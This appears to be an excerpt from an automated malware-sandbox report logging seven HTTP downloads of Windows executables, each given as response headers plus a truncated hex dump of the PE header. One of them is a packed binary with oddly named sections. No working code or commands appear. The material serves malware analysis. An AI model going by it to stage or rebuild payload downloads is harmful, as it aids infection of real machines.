Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 26 Nov 2024 07:03:41 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 26 Nov 2024 07:03:43 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 26 Nov 2024 07:03:44 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 26 Nov 2024 07:03:45 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 26 Nov 2024 07:03:49 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 26 Nov 2024 07:03:50 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 26 Nov 2024 07:03:56 GMTContent-Type: application/octet-streamContent-Length: 1896960Last-Modified: Tue, 26 Nov 2024 06:42:57 GMTConnection: keep-aliveETag: "67456df1-1cf200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 10 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 4b 00 00 04 00 00 0d 82 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 5c f4 4a 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c f4 4a 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 70 2a 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 76 6c 6c 71 75 6f 61 00 e0 19 00 00 20 31 00 00 d6 19 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 77 67 69 78 65 69 70 00 10 00 00 00 00 4b 00 00 04 00 00 00 cc 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 10 4b 00 00 22 00 00 00 d0 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
